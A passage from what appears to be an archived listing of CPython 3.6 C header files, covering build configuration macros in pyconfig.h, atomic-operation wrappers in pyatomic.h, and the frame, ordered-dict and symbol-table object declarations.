#define HAVE_STRUCT_STAT_ST_BLKSIZE 1 /* Define to 1 if `st_blocks' is a member of `struct stat'. */ #define HAVE_STRUCT_STAT_ST_BLOCKS 1 /* Define to 1 if `st_flags' is a member of `struct stat'. */ /* #undef HAVE_STRUCT_STAT_ST_FLAGS */ /* Define to 1 if `st_gen' is a member of `struct stat'. */ /* #undef HAVE_STRUCT_STAT_ST_GEN */ /* Define to 1 if `st_rdev' is a member of `struct stat'. */ #define HAVE_STRUCT_STAT_ST_RDEV 1 /* Define to 1 if `tm_zone' is a member of `struct tm'. */ #define HAVE_STRUCT_TM_TM_ZONE 1 /* Define if you have the 'symlink' function. */ #define HAVE_SYMLINK 1 /* Define to 1 if you have the `symlinkat' function. */ #define HAVE_SYMLINKAT 1 /* Define to 1 if you have the `sync' function. */ #define HAVE_SYNC 1 /* Define to 1 if you have the `sysconf' function. */ #define HAVE_SYSCONF 1 /* Define to 1 if you have the <sysexits.h> header file. */ #define HAVE_SYSEXITS_H 1 /* Define to 1 if you have the <sys/audioio.h> header file. */ /* #undef HAVE_SYS_AUDIOIO_H */ /* Define to 1 if you have the <sys/bsdtty.h> header file. */ /* #undef HAVE_SYS_BSDTTY_H */ /* Define to 1 if you have the <sys/devpoll.h> header file. */ /* #undef HAVE_SYS_DEVPOLL_H */ /* Define to 1 if you have the <sys/dir.h> header file, and it defines `DIR'. */ /* #undef HAVE_SYS_DIR_H */ /* Define to 1 if you have the <sys/endian.h> header file. */ /* #undef HAVE_SYS_ENDIAN_H */ /* Define to 1 if you have the <sys/epoll.h> header file. */ #define HAVE_SYS_EPOLL_H 1 /* Define to 1 if you have the <sys/event.h> header file. */ /* #undef HAVE_SYS_EVENT_H */ /* Define to 1 if you have the <sys/file.h> header file. */ #define HAVE_SYS_FILE_H 1 /* Define to 1 if you have the <sys/ioctl.h> header file. */ #define HAVE_SYS_IOCTL_H 1 /* Define to 1 if you have the <sys/kern_control.h> header file. */ /* #undef HAVE_SYS_KERN_CONTROL_H */ /* Define to 1 if you have the <sys/loadavg.h> header file. */ /* #undef HAVE_SYS_LOADAVG_H */ /* Define to 1 if you have the <sys/lock.h> header file. */ /* #undef HAVE_SYS_LOCK_H */ /* Define to 1 if you have the <sys/mkdev.h> header file. */ /* #undef HAVE_SYS_MKDEV_H */ /* Define to 1 if you have the <sys/modem.h> header file. */ /* #undef HAVE_SYS_MODEM_H */ /* Define to 1 if you have the <sys/ndir.h> header file, and it defines `DIR'. */ /* #undef HAVE_SYS_NDIR_H */ /* Define to 1 if you have the <sys/param.h> header file. */ #define HAVE_SYS_PARAM_H 1 /* Define to 1 if you have the <sys/poll.h> header file. */ #define HAVE_SYS_POLL_H 1 /* Define to 1 if you have the <sys/random.h> header file. */ #define HAVE_SYS_RANDOM_H 1 /* Define to 1 if you have the <sys/resource.h> header file. */ #define HAVE_SYS_RESOURCE_H 1 /* Define to 1 if you have the <sys/select.h> header file. */ #define HAVE_SYS_SELECT_H 1 /* Define to 1 if you have the <sys/sendfile.h> header file. */ #define HAVE_SYS_SENDFILE_H 1 /* Define to 1 if you have the <sys/socket.h> header file. */ #define HAVE_SYS_SOCKET_H 1 /* Define to 1 if you have the <sys/statvfs.h> header file. */ #define HAVE_SYS_STATVFS_H 1 /* Define to 1 if you have the <sys/stat.h> header file. */ #define HAVE_SYS_STAT_H 1 /* Define to 1 if you have the <sys/syscall.h> header file. */ #define HAVE_SYS_SYSCALL_H 1 /* Define to 1 if you have the <sys/sysmacros.h> header file. */ #define HAVE_SYS_SYSMACROS_H 1 /* Define to 1 if you have the <sys/sys_domain.h> header file. */ /* #undef HAVE_SYS_SYS_DOMAIN_H */ /* Define to 1 if you have the <sys/termio.h> header file. */ /* #undef HAVE_SYS_TERMIO_H */ /* Define to 1 if you have the <sys/times.h> header file. */ #define HAVE_SYS_TIMES_H 1 /* Define to 1 if you have the <sys/time.h> header file. */ #define HAVE_SYS_TIME_H 1 /* Define to 1 if you have the <sys/types.h> header file. */ #define HAVE_SYS_TYPES_H 1 /* Define to 1 if you have the <sys/uio.h> header file. */ #define HAVE_SYS_UIO_H 1 /* Define to 1 if you have the <sys/un.h> header file. */ #define HAVE_SYS_UN_H 1 /* Define to 1 if you have the <sys/utsname.h> header file. */ #define HAVE_SYS_UTSNAME_H 1 /* Define to 1 if you have the <sys/wait.h> header file. */ #define HAVE_SYS_WAIT_H 1 /* Define to 1 if you have the <sys/xattr.h> header file. */ #define HAVE_SYS_XATTR_H 1 /* Define to 1 if you have the `tcgetpgrp' function. */ #define HAVE_TCGETPGRP 1 /* Define to 1 if you have the `tcsetpgrp' function. */ #define HAVE_TCSETPGRP 1 /* Define to 1 if you have the `tempnam' function. */ #define HAVE_TEMPNAM 1 /* Define to 1 if you have the <termios.h> header file. */ #define HAVE_TERMIOS_H 1 /* Define to 1 if you have the <term.h> header file. */ #define HAVE_TERM_H 1 /* Define to 1 if you have the `tgamma' function. */ #define HAVE_TGAMMA 1 /* Define to 1 if you have the `timegm' function. */ #define HAVE_TIMEGM 1 /* Define to 1 if you have the `times' function. */ #define HAVE_TIMES 1 /* Define to 1 if you have the `tmpfile' function. */ #define HAVE_TMPFILE 1 /* Define to 1 if you have the `tmpnam' function. */ #define HAVE_TMPNAM 1 /* Define to 1 if you have the `tmpnam_r' function. */ #define HAVE_TMPNAM_R 1 /* Define to 1 if your `struct tm' has `tm_zone'. Deprecated, use `HAVE_STRUCT_TM_TM_ZONE' instead. */ #define HAVE_TM_ZONE 1 /* Define to 1 if you have the `truncate' function. */ #define HAVE_TRUNCATE 1 /* Define to 1 if you don't have `tm_zone' but do have the external array `tzname'. */ /* #undef HAVE_TZNAME */ /* Define this if you have tcl and TCL_UTF_MAX==6 */ /* #undef HAVE_UCS4_TCL */ /* Define to 1 if you have the `uname' function. */ #define HAVE_UNAME 1 /* Define to 1 if you have the <unistd.h> header file. */ #define HAVE_UNISTD_H 1 /* Define to 1 if you have the `unlinkat' function. */ #define HAVE_UNLINKAT 1 /* Define to 1 if you have the `unsetenv' function. */ #define HAVE_UNSETENV 1 /* Define if you have a useable wchar_t type defined in wchar.h; useable means wchar_t must be an unsigned type with at least 16 bits. (see Include/unicodeobject.h). */ /* #undef HAVE_USABLE_WCHAR_T */ /* Define to 1 if you have the <util.h> header file. */ /* #undef HAVE_UTIL_H */ /* Define to 1 if you have the `utimensat' function. */ #define HAVE_UTIMENSAT 1 /* Define to 1 if you have the `utimes' function. */ #define HAVE_UTIMES 1 /* Define to 1 if you have the <utime.h> header file. */ #define HAVE_UTIME_H 1 /* Define to 1 if you have the `wait3' function. */ #define HAVE_WAIT3 1 /* Define to 1 if you have the `wait4' function. */ #define HAVE_WAIT4 1 /* Define to 1 if you have the `waitid' function. */ #define HAVE_WAITID 1 /* Define to 1 if you have the `waitpid' function. */ #define HAVE_WAITPID 1 /* Define if the compiler provides a wchar.h header file. */ #define HAVE_WCHAR_H 1 /* Define to 1 if you have the `wcscoll' function. */ #define HAVE_WCSCOLL 1 /* Define to 1 if you have the `wcsftime' function. */ #define HAVE_WCSFTIME 1 /* Define to 1 if you have the `wcsxfrm' function. */ #define HAVE_WCSXFRM 1 /* Define to 1 if you have the `wmemcmp' function. */ #define HAVE_WMEMCMP 1 /* Define if tzset() actually switches the local timezone in a meaningful way. */ #define HAVE_WORKING_TZSET 1 /* Define to 1 if you have the `writev' function. */ #define HAVE_WRITEV 1 /* Define if the zlib library has inflateCopy */ #define HAVE_ZLIB_COPY 1 /* Define to 1 if you have the `_getpty' function. */ /* #undef HAVE__GETPTY */ /* Define if log1p(-0.) is 0. rather than -0. */ /* #undef LOG1P_DROPS_ZERO_SIGN */ /* Define to 1 if `major', `minor', and `makedev' are declared in <mkdev.h>. */ /* #undef MAJOR_IN_MKDEV */ /* Define to 1 if `major', `minor', and `makedev' are declared in <sysmacros.h>. */ #define MAJOR_IN_SYSMACROS 1 /* Define if mvwdelch in curses.h is an expression. */ #define MVWDELCH_IS_EXPRESSION 1 /* Define to the address where bug reports for this package should be sent. */ /* #undef PACKAGE_BUGREPORT */ /* Define to the full name of this package. */ /* #undef PACKAGE_NAME */ /* Define to the full name and version of this package. */ /* #undef PACKAGE_STRING */ /* Define to the one symbol short name of this package. */ /* #undef PACKAGE_TARNAME */ /* Define to the home page for this package. */ /* #undef PACKAGE_URL */ /* Define to the version of this package. */ /* #undef PACKAGE_VERSION */ /* Define if POSIX semaphores aren't enabled on your system */ /* #undef POSIX_SEMAPHORES_NOT_ENABLED */ /* Defined if PTHREAD_SCOPE_SYSTEM supported. */ #define PTHREAD_SYSTEM_SCHED_SUPPORTED 1 /* Define as the preferred size in bits of long digits */ /* #undef PYLONG_BITS_IN_DIGIT */ /* Define if you want to coerce the C locale to a UTF-8 based locale */ #define PY_COERCE_C_LOCALE 1 /* Define to printf format modifier for Py_ssize_t */ #define PY_FORMAT_SIZE_T "z" /* Default cipher suites list for ssl module. 1: Python's preferred selection, 2: leave OpenSSL defaults untouched, 0: custom string */ #define PY_SSL_DEFAULT_CIPHERS 2 /* Cipher suite string for PY_SSL_DEFAULT_CIPHERS=0 */ /* #undef PY_SSL_DEFAULT_CIPHER_STRING */ /* Define to emit a locale compatibility warning in the C locale */ #define PY_WARN_ON_C_LOCALE 1 /* Define if you want to build an interpreter with many run-time checks. */ /* #undef Py_DEBUG */ /* Defined if Python is built as a shared library. */ #define Py_ENABLE_SHARED 1 /* Define hash algorithm for str, bytes and memoryview. SipHash24: 1, FNV: 2, externally defined: 0 */ /* #undef Py_HASH_ALGORITHM */ /* assume C89 semantics that RETSIGTYPE is always void */ #define RETSIGTYPE void /* Define if setpgrp() must be called as setpgrp(0, 0). */ /* #undef SETPGRP_HAVE_ARG */ /* Define if i>>j for signed int i does not extend the sign bit when i < 0 */ /* #undef SIGNED_RIGHT_SHIFT_ZERO_FILLS */ /* The size of `double', as computed by sizeof. */ #define SIZEOF_DOUBLE 8 /* The size of `float', as computed by sizeof. */ #define SIZEOF_FLOAT 4 /* The size of `fpos_t', as computed by sizeof. */ #define SIZEOF_FPOS_T 16 /* The size of `int', as computed by sizeof. */ #define SIZEOF_INT 4 /* The size of `long', as computed by sizeof. */ #define SIZEOF_LONG 8 /* The size of `long double', as computed by sizeof. */ #define SIZEOF_LONG_DOUBLE 16 /* The size of `long long', as computed by sizeof. */ #define SIZEOF_LONG_LONG 8 /* The size of `off_t', as computed by sizeof. */ #define SIZEOF_OFF_T 8 /* The size of `pid_t', as computed by sizeof. */ #define SIZEOF_PID_T 4 /* The size of `pthread_t', as computed by sizeof. */ #define SIZEOF_PTHREAD_T 8 /* The size of `short', as computed by sizeof. */ #define SIZEOF_SHORT 2 /* The size of `size_t', as computed by sizeof. */ #define SIZEOF_SIZE_T 8 /* The size of `time_t', as computed by sizeof. */ #define SIZEOF_TIME_T 8 /* The size of `uintptr_t', as computed by sizeof. */ #define SIZEOF_UINTPTR_T 8 /* The size of `void *', as computed by sizeof. */ #define SIZEOF_VOID_P 8 /* The size of `wchar_t', as computed by sizeof. */ #define SIZEOF_WCHAR_T 4 /* The size of `_Bool', as computed by sizeof. */ #define SIZEOF__BOOL 1 /* Define to 1 if you have the ANSI C header files. */ #define STDC_HEADERS 1 /* Define if you can safely include both <sys/select.h> and <sys/time.h> (which you can't on SCO ODT 3.0). */ #define SYS_SELECT_WITH_SYS_TIME 1 /* Define if tanh(-0.) is -0., or if platform doesn't have signed zeros */ #define TANH_PRESERVES_ZERO_SIGN 1 /* Library needed by timemodule.c: librt may be needed for clock_gettime() */ /* #undef TIMEMODULE_LIB */ /* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */ #define TIME_WITH_SYS_TIME 1 /* Define to 1 if your <sys/time.h> declares `struct tm'. */ /* #undef TM_IN_SYS_TIME */ /* Define if you want to use computed gotos in ceval.c. */ #define USE_COMPUTED_GOTOS 1 /* Define to use the C99 inline keyword. */ #define USE_INLINE 1 /* Enable extensions on AIX 3, Interix. */ #ifndef _ALL_SOURCE # define _ALL_SOURCE 1 #endif /* Enable GNU extensions on systems that have them. */ #ifndef _GNU_SOURCE # define _GNU_SOURCE 1 #endif /* Enable threading extensions on Solaris. */ #ifndef _POSIX_PTHREAD_SEMANTICS # define _POSIX_PTHREAD_SEMANTICS 1 #endif /* Enable extensions on HP NonStop. */ #ifndef _TANDEM_SOURCE # define _TANDEM_SOURCE 1 #endif /* Enable general extensions on Solaris. */ #ifndef __EXTENSIONS__ # define __EXTENSIONS__ 1 #endif /* Define if you want SIGFPE handled (see Include/pyfpe.h). */ /* #undef WANT_SIGFPE_HANDLER */ /* Define if WINDOW in curses.h offers a field _flags. */ #define WINDOW_HAS_FLAGS 1 /* Define if you want documentation strings in extension modules */ #define WITH_DOC_STRINGS 1 /* Define if you want to compile in DTrace support */ #define WITH_DTRACE 1 /* Define if you want to use the new-style (Openstep, Rhapsody, MacOS) dynamic linker (dyld) instead of the old-style (NextStep) dynamic linker (rld). Dyld is necessary to support frameworks. */ /* #undef WITH_DYLD */ /* Define to 1 if libintl is needed for locale functions. */ /* #undef WITH_LIBINTL */ /* Define if you want to produce an OpenStep/Rhapsody framework (shared library plus accessory files). */ /* #undef WITH_NEXT_FRAMEWORK */ /* Define if you want to compile in Python-specific mallocs */ #define WITH_PYMALLOC 1 /* Define if you want to compile in rudimentary thread support */ #define WITH_THREAD 1 /* Define if you want pymalloc to be disabled when running under valgrind */ #define WITH_VALGRIND 1 /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN /* # undef WORDS_BIGENDIAN */ # endif #endif /* Define if arithmetic is subject to x87-style double rounding issue */ /* #undef X87_DOUBLE_ROUNDING */ /* Define on OpenBSD to activate all library features */ /* #undef _BSD_SOURCE */ /* Define on Irix to enable u_int */ #define _BSD_TYPES 1 /* Define on Darwin to activate all library features */ #define _DARWIN_C_SOURCE 1 /* This must be set to 64 on some systems to enable large file support. */ #define _FILE_OFFSET_BITS 64 /* Define on Linux to activate all library features */ #define _GNU_SOURCE 1 /* Define to include mbstate_t for mbrtowc */ /* #undef _INCLUDE__STDC_A1_SOURCE */ /* This must be defined on some systems to enable large file support. */ #define _LARGEFILE_SOURCE 1 /* This must be defined on AIX systems to enable large file support. */ /* #undef _LARGE_FILES */ /* Define to 1 if on MINIX. */ /* #undef _MINIX */ /* Define on NetBSD to activate all library features */ #define _NETBSD_SOURCE 1 /* Define to 2 if the system does not provide POSIX.1 features except with this defined. */ /* #undef _POSIX_1_SOURCE */ /* Define to activate features from IEEE Stds 1003.1-2008 */ #define _POSIX_C_SOURCE 200809L /* Define to 1 if you need to in order for `stat' and other things to work. */ /* #undef _POSIX_SOURCE */ /* Define if you have POSIX threads, and your system does not define that. */ /* #undef _POSIX_THREADS */ /* Define to force use of thread-safe errno, h_errno, and other functions */ /* #undef _REENTRANT */ /* Define to the level of X/Open that your system supports */ #define _XOPEN_SOURCE 700 /* Define to activate Unix95-and-earlier features */ #define _XOPEN_SOURCE_EXTENDED 1 /* Define on FreeBSD to activate all library features */ #define __BSD_VISIBLE 1 /* Define to 1 if type `char' is unsigned and you are not using gcc. */ #ifndef __CHAR_UNSIGNED__ /* # undef __CHAR_UNSIGNED__ */ #endif /* Define to 'long' if <time.h> doesn't define. */ /* #undef clock_t */ /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to `int' if <sys/types.h> doesn't define. */ /* #undef gid_t */ /* Define to `__inline__' or `__inline' if that's what the C compiler calls it, or to nothing if 'inline' is not supported under any name. */ #ifndef __cplusplus /* #undef inline */ #endif /* Define to `int' if <sys/types.h> does not define. */ /* #undef mode_t */ /* Define to `long int' if <sys/types.h> does not define. */ /* #undef off_t */ /* Define to `int' if <sys/types.h> does not define. */ /* #undef pid_t */ /* Define to empty if the keyword does not work. */ /* #undef signed */ /* Define to `unsigned int' if <sys/types.h> does not define. */ /* #undef size_t */ /* Define to `int' if <sys/socket.h> does not define. */ /* #undef socklen_t */ /* Define to `int' if <sys/types.h> doesn't define. */ /* #undef uid_t */ /* Define to empty if the keyword does not work. */ /* #undef volatile */ /* Define the macros needed if on a UnixWare 7.x system. */ #if defined(__USLC__) && defined(__SCO_VERSION__) #define STRICT_SYSV_CURSES /* Don't use ncurses extensions */ #endif #endif /*Py_PYCONFIG_H*/ python3.6m/pyatomic.h 0000644 00000017700 15246445047 0010507 0 ustar 00 #ifndef Py_ATOMIC_H #define Py_ATOMIC_H #ifdef Py_BUILD_CORE #include "dynamic_annotations.h" #include "pyconfig.h" #if defined(HAVE_STD_ATOMIC) #include <stdatomic.h> #endif /* This is modeled after the atomics interface from C1x, according to * the draft at * http://www.open-std.org/JTC1/SC22/wg14/www/docs/n1425.pdf. * Operations and types are named the same except with a _Py_ prefix * and have the same semantics. * * Beware, the implementations here are deep magic. */ #if defined(HAVE_STD_ATOMIC) typedef enum _Py_memory_order { _Py_memory_order_relaxed = memory_order_relaxed, _Py_memory_order_acquire = memory_order_acquire, _Py_memory_order_release = memory_order_release, _Py_memory_order_acq_rel = memory_order_acq_rel, _Py_memory_order_seq_cst = memory_order_seq_cst } _Py_memory_order; typedef struct _Py_atomic_address { atomic_uintptr_t _value; } _Py_atomic_address; typedef struct _Py_atomic_int { atomic_int _value; } _Py_atomic_int; #define _Py_atomic_signal_fence(/*memory_order*/ ORDER) \ atomic_signal_fence(ORDER) #define _Py_atomic_thread_fence(/*memory_order*/ ORDER) \ atomic_thread_fence(ORDER) #define _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, ORDER) \ atomic_store_explicit(&(ATOMIC_VAL)->_value, NEW_VAL, ORDER) #define _Py_atomic_load_explicit(ATOMIC_VAL, ORDER) \ atomic_load_explicit(&(ATOMIC_VAL)->_value, ORDER) /* Use builtin atomic operations in GCC >= 4.7 */ #elif defined(HAVE_BUILTIN_ATOMIC) typedef enum _Py_memory_order { _Py_memory_order_relaxed = __ATOMIC_RELAXED, _Py_memory_order_acquire = __ATOMIC_ACQUIRE, _Py_memory_order_release = __ATOMIC_RELEASE, _Py_memory_order_acq_rel = __ATOMIC_ACQ_REL, _Py_memory_order_seq_cst = __ATOMIC_SEQ_CST } _Py_memory_order; typedef struct _Py_atomic_address { uintptr_t _value; } _Py_atomic_address; typedef struct _Py_atomic_int { int _value; } _Py_atomic_int; #define _Py_atomic_signal_fence(/*memory_order*/ ORDER) \ __atomic_signal_fence(ORDER) #define _Py_atomic_thread_fence(/*memory_order*/ ORDER) \ __atomic_thread_fence(ORDER) #define _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, ORDER) \ (assert((ORDER) == __ATOMIC_RELAXED \ || (ORDER) == __ATOMIC_SEQ_CST \ || (ORDER) == __ATOMIC_RELEASE), \ __atomic_store_n(&(ATOMIC_VAL)->_value, NEW_VAL, ORDER)) #define _Py_atomic_load_explicit(ATOMIC_VAL, ORDER) \ (assert((ORDER) == __ATOMIC_RELAXED \ || (ORDER) == __ATOMIC_SEQ_CST \ || (ORDER) == __ATOMIC_ACQUIRE \ || (ORDER) == __ATOMIC_CONSUME), \ __atomic_load_n(&(ATOMIC_VAL)->_value, ORDER)) #else typedef enum _Py_memory_order { _Py_memory_order_relaxed, _Py_memory_order_acquire, _Py_memory_order_release, _Py_memory_order_acq_rel, _Py_memory_order_seq_cst } _Py_memory_order; typedef struct _Py_atomic_address { uintptr_t _value; } _Py_atomic_address; typedef struct _Py_atomic_int { int _value; } _Py_atomic_int; /* Only support GCC (for expression statements) and x86 (for simple * atomic semantics) for now */ #if defined(__GNUC__) && (defined(__i386__) || defined(__amd64)) static __inline__ void _Py_atomic_signal_fence(_Py_memory_order order) { if (order != _Py_memory_order_relaxed) __asm__ volatile("":::"memory"); } static __inline__ void _Py_atomic_thread_fence(_Py_memory_order order) { if (order != _Py_memory_order_relaxed) __asm__ volatile("mfence":::"memory"); } /* Tell the race checker about this operation's effects. */ static __inline__ void _Py_ANNOTATE_MEMORY_ORDER(const volatile void *address, _Py_memory_order order) { (void)address; /* shut up -Wunused-parameter */ switch(order) { case _Py_memory_order_release: case _Py_memory_order_acq_rel: case _Py_memory_order_seq_cst: _Py_ANNOTATE_HAPPENS_BEFORE(address); break; case _Py_memory_order_relaxed: case _Py_memory_order_acquire: break; } switch(order) { case _Py_memory_order_acquire: case _Py_memory_order_acq_rel: case _Py_memory_order_seq_cst: _Py_ANNOTATE_HAPPENS_AFTER(address); break; case _Py_memory_order_relaxed: case _Py_memory_order_release: break; } } #define _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, ORDER) \ __extension__ ({ \ __typeof__(ATOMIC_VAL) atomic_val = ATOMIC_VAL; \ __typeof__(atomic_val->_value) new_val = NEW_VAL;\ volatile __typeof__(new_val) *volatile_data = &atomic_val->_value; \ _Py_memory_order order = ORDER; \ _Py_ANNOTATE_MEMORY_ORDER(atomic_val, order); \ \ /* Perform the operation. */ \ _Py_ANNOTATE_IGNORE_WRITES_BEGIN(); \ switch(order) { \ case _Py_memory_order_release: \ _Py_atomic_signal_fence(_Py_memory_order_release); \ /* fallthrough */ \ case _Py_memory_order_relaxed: \ *volatile_data = new_val; \ break; \ \ case _Py_memory_order_acquire: \ case _Py_memory_order_acq_rel: \ case _Py_memory_order_seq_cst: \ __asm__ volatile("xchg %0, %1" \ : "+r"(new_val) \ : "m"(atomic_val->_value) \ : "memory"); \ break; \ } \ _Py_ANNOTATE_IGNORE_WRITES_END(); \ }) #define _Py_atomic_load_explicit(ATOMIC_VAL, ORDER) \ __extension__ ({ \ __typeof__(ATOMIC_VAL) atomic_val = ATOMIC_VAL; \ __typeof__(atomic_val->_value) result; \ volatile __typeof__(result) *volatile_data = &atomic_val->_value; \ _Py_memory_order order = ORDER; \ _Py_ANNOTATE_MEMORY_ORDER(atomic_val, order); \ \ /* Perform the operation. */ \ _Py_ANNOTATE_IGNORE_READS_BEGIN(); \ switch(order) { \ case _Py_memory_order_release: \ case _Py_memory_order_acq_rel: \ case _Py_memory_order_seq_cst: \ /* Loads on x86 are not releases by default, so need a */ \ /* thread fence. */ \ _Py_atomic_thread_fence(_Py_memory_order_release); \ break; \ default: \ /* No fence */ \ break; \ } \ result = *volatile_data; \ switch(order) { \ case _Py_memory_order_acquire: \ case _Py_memory_order_acq_rel: \ case _Py_memory_order_seq_cst: \ /* Loads on x86 are automatically acquire operations so */ \ /* can get by with just a compiler fence. */ \ _Py_atomic_signal_fence(_Py_memory_order_acquire); \ break; \ default: \ /* No fence */ \ break; \ } \ _Py_ANNOTATE_IGNORE_READS_END(); \ result; \ }) #else /* !gcc x86 */ /* Fall back to other compilers and processors by assuming that simple volatile accesses are atomic. This is false, so people should port this. */ #define _Py_atomic_signal_fence(/*memory_order*/ ORDER) ((void)0) #define _Py_atomic_thread_fence(/*memory_order*/ ORDER) ((void)0) #define _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, ORDER) \ ((ATOMIC_VAL)->_value = NEW_VAL) #define _Py_atomic_load_explicit(ATOMIC_VAL, ORDER) \ ((ATOMIC_VAL)->_value) #endif /* !gcc x86 */ #endif /* Standardized shortcuts. */ #define _Py_atomic_store(ATOMIC_VAL, NEW_VAL) \ _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, _Py_memory_order_seq_cst) #define _Py_atomic_load(ATOMIC_VAL) \ _Py_atomic_load_explicit(ATOMIC_VAL, _Py_memory_order_seq_cst) /* Python-local extensions */ #define _Py_atomic_store_relaxed(ATOMIC_VAL, NEW_VAL) \ _Py_atomic_store_explicit(ATOMIC_VAL, NEW_VAL, _Py_memory_order_relaxed) #define _Py_atomic_load_relaxed(ATOMIC_VAL) \ _Py_atomic_load_explicit(ATOMIC_VAL, _Py_memory_order_relaxed) #endif /* Py_BUILD_CORE */ #endif /* Py_ATOMIC_H */ python3.6m/frameobject.h 0000644 00000006712 15246445047 0011144 0 ustar 00 /* Frame object interface */ #ifndef Py_LIMITED_API #ifndef Py_FRAMEOBJECT_H #define Py_FRAMEOBJECT_H #ifdef __cplusplus extern "C" { #endif typedef struct { int b_type; /* what kind of block this is */ int b_handler; /* where to jump to find handler */ int b_level; /* value stack level to pop to */ } PyTryBlock; typedef struct _frame { PyObject_VAR_HEAD struct _frame *f_back; /* previous frame, or NULL */ PyCodeObject *f_code; /* code segment */ PyObject *f_builtins; /* builtin symbol table (PyDictObject) */ PyObject *f_globals; /* global symbol table (PyDictObject) */ PyObject *f_locals; /* local symbol table (any mapping) */ PyObject **f_valuestack; /* points after the last local */ /* Next free slot in f_valuestack. Frame creation sets to f_valuestack. Frame evaluation usually NULLs it, but a frame that yields sets it to the current stack top. */ PyObject **f_stacktop; PyObject *f_trace; /* Trace function */ /* In a generator, we need to be able to swap between the exception state inside the generator and the exception state of the calling frame (which shouldn't be impacted when the generator "yields" from an except handler). These three fields exist exactly for that, and are unused for non-generator frames. See the save_exc_state and swap_exc_state functions in ceval.c for details of their use. */ PyObject *f_exc_type, *f_exc_value, *f_exc_traceback; /* Borrowed reference to a generator, or NULL */ PyObject *f_gen; int f_lasti; /* Last instruction if called */ /* Call PyFrame_GetLineNumber() instead of reading this field directly. As of 2.3 f_lineno is only valid when tracing is active (i.e. when f_trace is set). At other times we use PyCode_Addr2Line to calculate the line from the current bytecode index. */ int f_lineno; /* Current line number */ int f_iblock; /* index in f_blockstack */ char f_executing; /* whether the frame is still executing */ PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */ PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */ } PyFrameObject; /* Standard object interface */ PyAPI_DATA(PyTypeObject) PyFrame_Type; #define PyFrame_Check(op) (Py_TYPE(op) == &PyFrame_Type) PyAPI_FUNC(PyFrameObject *) PyFrame_New(PyThreadState *, PyCodeObject *, PyObject *, PyObject *); /* The rest of the interface is specific for frame objects */ /* Block management functions */ PyAPI_FUNC(void) PyFrame_BlockSetup(PyFrameObject *, int, int, int); PyAPI_FUNC(PyTryBlock *) PyFrame_BlockPop(PyFrameObject *); /* Extend the value stack */ PyAPI_FUNC(PyObject **) PyFrame_ExtendStack(PyFrameObject *, int, int); /* Conversions between "fast locals" and locals in dictionary */ PyAPI_FUNC(void) PyFrame_LocalsToFast(PyFrameObject *, int); PyAPI_FUNC(int) PyFrame_FastToLocalsWithError(PyFrameObject *f); PyAPI_FUNC(void) PyFrame_FastToLocals(PyFrameObject *); PyAPI_FUNC(int) PyFrame_ClearFreeList(void); PyAPI_FUNC(void) _PyFrame_DebugMallocStats(FILE *out); /* Return the line of code the frame is currently executing. */ PyAPI_FUNC(int) PyFrame_GetLineNumber(PyFrameObject *); #ifdef __cplusplus } #endif #endif /* !Py_FRAMEOBJECT_H */ #endif /* Py_LIMITED_API */ python3.6m/odictobject.h 0000644 00000002410 15246445047 0011143 0 ustar 00 #ifndef Py_ODICTOBJECT_H #define Py_ODICTOBJECT_H #ifdef __cplusplus extern "C" { #endif /* OrderedDict */ /* This API is optional and mostly redundant. */ #ifndef Py_LIMITED_API typedef struct _odictobject PyODictObject; PyAPI_DATA(PyTypeObject) PyODict_Type; PyAPI_DATA(PyTypeObject) PyODictIter_Type; PyAPI_DATA(PyTypeObject) PyODictKeys_Type; PyAPI_DATA(PyTypeObject) PyODictItems_Type; PyAPI_DATA(PyTypeObject) PyODictValues_Type; #define PyODict_Check(op) PyObject_TypeCheck(op, &PyODict_Type) #define PyODict_CheckExact(op) (Py_TYPE(op) == &PyODict_Type) #define PyODict_SIZE(op) ((PyDictObject *)op)->ma_used PyAPI_FUNC(PyObject *) PyODict_New(void); PyAPI_FUNC(int) PyODict_SetItem(PyObject *od, PyObject *key, PyObject *item); PyAPI_FUNC(int) PyODict_DelItem(PyObject *od, PyObject *key); /* wrappers around PyDict* functions */ #define PyODict_GetItem(od, key) PyDict_GetItem((PyObject *)od, key) #define PyODict_GetItemWithError(od, key) \ PyDict_GetItemWithError((PyObject *)od, key) #define PyODict_Contains(od, key) PyDict_Contains((PyObject *)od, key) #define PyODict_Size(od) PyDict_Size((PyObject *)od) #define PyODict_GetItemString(od, key) \ PyDict_GetItemString((PyObject *)od, key) #endif #ifdef __cplusplus } #endif #endif /* !Py_ODICTOBJECT_H */ python3.6m/symtable.h 0000644 00000011602 15246445047 0010475 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_SYMTABLE_H #define Py_SYMTABLE_H #ifdef __cplusplus extern "C" { #endif /* XXX(ncoghlan): This is a weird mix of public names and interpreter internal * names. */ typedef enum _block_type { FunctionBlock, ClassBlock, ModuleBlock } _Py_block_ty; struct _symtable_entry; struct symtable { PyObject *st_filename; /* name of file being compiled, decoded from the filesystem encoding */ struct _symtable_entry *st_cur; /* current symbol table entry */ struct _symtable_entry *st_top; /* symbol table entry for module */ PyObject *st_blocks; /* dict: map AST node addresses * to symbol table entries */ PyObject *st_stack; /* list: stack of namespace info */ PyObject *st_global; /* borrowed ref to st_top->ste_symbols */ int st_nblocks; /* number of blocks used. kept for consistency with the corresponding compiler structure */ PyObject *st_private; /* name of current class or NULL */ PyFutureFeatures *st_future; /* module's future features that affect the symbol table */ int recursion_depth; /* current recursion depth */ int recursion_limit; /* recursion limit */ }; typedef struct _symtable_entry { PyObject_HEAD PyObject *ste_id; /* int: key in ste_table->st_blocks */ PyObject *ste_symbols; /* dict: variable names to flags */ PyObject *ste_name; /* string: name of current block */ PyObject *ste_varnames; /* list of function parameters */ PyObject *ste_children; /* list of child blocks */ PyObject *ste_directives;/* locations of global and nonlocal statements */ _Py_block_ty ste_type; /* module, class, or function */ int ste_nested; /* true if block is 